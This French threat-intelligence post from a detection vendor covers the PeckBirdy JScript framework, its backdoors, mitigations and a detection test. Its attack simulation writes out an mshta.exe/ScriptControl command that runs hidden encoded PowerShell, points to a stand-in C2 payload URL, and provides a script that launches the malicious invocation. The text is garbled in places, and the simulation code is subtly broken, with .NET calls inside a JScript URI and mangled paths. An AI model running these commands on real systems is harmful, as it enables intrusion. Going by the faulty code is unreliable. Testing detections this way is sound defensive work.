SOC Prime Bias: Critique

26 Jan 2026 19:08 UTC

PeckBirdy : Un cadre de script polyvalent pour l’exploitation des LOLBins utilisé par des groupes de menaces alignés sur la Chine

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
PeckBirdy : Un cadre de script polyvalent pour l’exploitation des LOLBins utilisé par des groupes de menaces alignés sur la Chine
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

PeckBirdy est un framework de commande et contrôle basé sur JScript utilisé par des acteurs APT alignés avec la Chine pour abuser des binaires « living-off-the-land » et déployer des portes dérobées modulaires, y compris HOLODONUT et MKDOOR. Il est conçu pour s’exécuter sur plusieurs environnements d’exécution — navigateurs web, MSHTA, WScript, NodeJS et .NET — et il prend en charge plusieurs options de transport telles que WebSocket, Flash, Comet et HTTP. Le framework a été observé dans des campagnes suivies sous les codes SHADOW-VOID-044 et SHADOW-EARTH-045, ciblant les ressources de jeux en ligne, les portails web gouvernementaux asiatiques et une organisation du secteur de l’éducation.

Enquête

Les chercheurs ont signalé des injections de scripts malveillants sur des sites de jeux compromis et des pages gouvernementales qui ont téléchargé le chargeur PeckBirdy, qui a ensuite récupéré des charges utiles complémentaires, notamment une exploitation Chrome (CVE-2020-16040) et des composants de porte dérobée supplémentaires. L’activité a été liée à deux implants modulaires, HOLODONUT et MKDOOR, et connectée à des groupes et des schémas d’infrastructure précédemment observés. L’analyse a également catalogué des indicateurs de compromission, y compris des adresses IP, des domaines et des détails opérationnels tels que l’utilisation de certificats de signature de code volés.

Atténuation

Bloquez les domaines et adresses IP malveillants identifiés, et surveillez l’utilisation atypique de LOLBin et l’exécution de scripts via MSHTA, WScript et NodeJS. Détectez la création de la unique_id fichier dans %TEMP% et appliquez une validation stricte des certificats de signature de code. La couverture pour les charges utiles Cobalt Strike connues et les assemblages .NET générés par Donut peut encore réduire l’exposition.

Réponse

Si détecté, isolez les systèmes affectés, collectez le script injecté et tous les binaires de porte dérobée produits, et bloquez l’infrastructure C2 associée. Effectuez une analyse médico-légale pour le déplacement latéral et mettez à jour la logique de détection des artefacts en ligne de commande observés et des modèles de trafic réseau.

Flux d’attaque

Exécution de la simulation

Condition préalable : le contrôle préalable de télémétrie et de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

  • Narrative & Commandes de l’attaque :
    L’adversaire souhaite établir un canal de contrôle à distance en utilisant le framework script PeckBirdy. Ils choisissent script framework. They choose mshta.exe car c’est un binaire Windows signé qui contourne la plupart des listes blanches d’applications. La charge utile intègre un objet ScriptControl ActiveX pour exécuter le code JScript récupéré à partir d’un serveur C2. Les étapes sont :

    1. Télécharger la charge utile JScript malveillante à partir du C2 (par exemple, http://malicious.c2/payload.js).
    2. Lancer mshta.exe avec un URI javascript : intégré qui crée une objet ScriptControl instance, charge le script téléchargé et l’exécute.
    3. Le code JScript établit un écouteur TCP inverse, complétant l’ancrage.

    La ligne de commande exacte qui produit la télémétrie est :

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Cette commande contient à la fois mshta.exe et la chaîne objet ScriptControl, satisfaisant la condition Sigma.

  • Script de régression :
    Le script ci-dessous automatise l’invocation malveillante mshta . Il peut être exécuté sur une station de travail de test sous un compte administratif.

    #-------------------------------------------------
    # Exécution de PeckBirdy via mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Simple beacon – replace with real payload
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Encode the JScript payload to avoid line‑break issues
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Launching malicious mshta..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Commandes de nettoyage :
    Supprimez tous les artefacts créés par le test (par exemple, le fichier temporaire).

    #-------------------------------------------------
    # Nettoyage après la simulation de PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Nettoyage des artefacts de test..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Arrête tous les processus mshta persistants démarrés par le test
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force